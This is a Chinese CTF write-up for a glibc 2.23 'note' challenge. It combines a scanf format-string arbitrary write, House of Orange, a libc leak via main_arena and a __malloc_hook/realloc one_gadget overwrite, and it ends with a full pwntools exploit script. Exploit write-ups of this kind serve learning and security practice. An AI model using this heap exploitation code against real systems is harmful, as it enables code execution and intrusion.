这题是格式化字符串漏洞 + House Of Orange + __malloc_hook 组合利用，难度倒也不是很难，对于我这种新手学到了不少东西。

但是我觉得这里并不是的格式化字符串漏洞，倒不如说是故意构造的逻辑漏洞，姑且称它为格式化字符串漏洞吧。

思路：

house of orange：通过修改 top chunk 的 size，来触发 brk 扩展堆段，之后原有的 top chunk 会被置于 unsorted bin 中。本题再直接 show 泄露 main_arena 计算偏移得到 libc。

这里格式化字符串漏洞的利用可以任意地址写，先是修改 top chunk 的 size，再通过 relloc 调整栈帧利用 __malloc_hook 调用 one_gadget。

check：

64位，全开，libc是2.23的

三个操作：

没有 free，就是 house of orange 的利用办法

say：

这里的格式化字符串漏洞，是没有回显的，scanf构造任意地址写。

add:

这 add 没什么问题，常规申请堆块。

show：没看的，就是按 chunk 地址输出，不考虑 chunk 的使用状态
步骤：

正常申请一个 0x10 之后，可以看到 top chunk_siez 为 0x20fe1

1、利用格式化字符串漏洞进行修改：

def say(content1,content2):
    p.sendlineafter('choice: ', '2')
    p.sendlineafter('say ? ', str(content1))
    p.sendlineafter('? ', str(content2).encode())

chunk1=int(add(0x10,'aaaa'),16)
#gdb.attach(p)
say('%7$daaaa'+p64(chunk1+0x18),0x0fe1)

确实修改成功
这里修改的值，要符合4k对齐， 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等，不满足无法利用。

2、由于本题一次申请最大就 0x100 ，所以要把 0xfe1 用完得申请16次

用 for 循环申请16次，之前剩下的 0xe1 确实释放到了 unsorted bin

3、然后我们再次申请一个小于剩下 size 的 chunk 就能从这里面分割一块出来了

这里的 0x561ae3980f00 就是我们当前申请的 chunk
注意这里的一个小坑，之前脑子瓦特了

下面这里无论怎么写都会杯覆盖两个字节，只写入 p8(0) 的话，输出会有\00截断,泄露出来的地址就是不完整的，无法利用

想了好一会儿，才回过神来，这个 chunk 有两个地址啊，我泄露后面这四字节不就行了嘛，我写入七个字符，再加上那个 0x0a(sendline()的换行) ，不就没有 \00 了吗，后面的地址也是完整的了，再计算一下偏移就完了。

4、接下来就是向 __malloc_hook 写入 one_gadget 了，但是实际尝试下来，基本都无法直接利用 one_gadget，考虑用 realloc 来调整栈

#这里还是分两次写比较好，'ld'表示写入长度为长整型，不然写不下。
#向 __realloc_hook 写入 one_gadget
say('%7$ldaaa'+p64(malloc_hook-0x8),one_gadget)
#向 malloc_hook 写入 realloc 的地址+偏移
say('%7$ldaaa'+p64(malloc_hook),realloc+12)

成功写入

EXP：

from pwn import *

p = process('./note')
#p = remote('47.104.70.90', 25315)
context.log_level='debug'
elf = ELF('note')
libc = ELF('libc-2.23.so')

def add(size,content):
    p.sendlineafter('choice: ', '1')
    p.sendlineafter('size: ',str(size))
    p.sendlineafter('content: ',str(content))
    p.recvuntil('addr: ')
    return p.recv(14)

def say(content1,content2):
    p.sendlineafter('choice: ',str(2))
    p.sendlineafter('say ? ',str(content1))
    p.sendlineafter('? ',str(content2))

def show():
    p.sendlineafter('choice: ', '3')

chunk1=int(add(0x10,'aaaa'),16)
#gdb.attach(p)
say('%7$daaaa'+p64(chunk1+0x18),0x0fe1)
#size_max=0x100
for i in range(0,15):
    unchunk= add(0x100,'a')

unchunk=add(0x10,'a'*7)
show()
#print(p.recv())
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0xc48+0xb78

print('main_arena:',hex(main_arena))
#gdb.attach(p)
offset=0x3c4b78
libc_base=main_arena-offset
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
print('libc_base:',hex(libc_base))
print('malloc:',hex(malloc_hook))
print('realloc:',hex(realloc))

one2=[0x45206, 0x4525a, 0xef9f4, 0xf0897]
one1=[0x45226, 0x4527a, 0xf03a4, 0xf1247]

one_gadget=libc_base+one2[1]
print('one_gadget:',hex(one_gadget))
print(unchunk)

say('%7$ldaaa'+p64(malloc_hook-0x8),one_gadget)
#gdb.attach(p)
say('%7$ldaaa'+p64(malloc_hook),realloc+12)
#gdb.attach(p)
p.sendlineafter('choice: ',str(1))
p.sendlineafter('size: ',str(1))
p.interactive()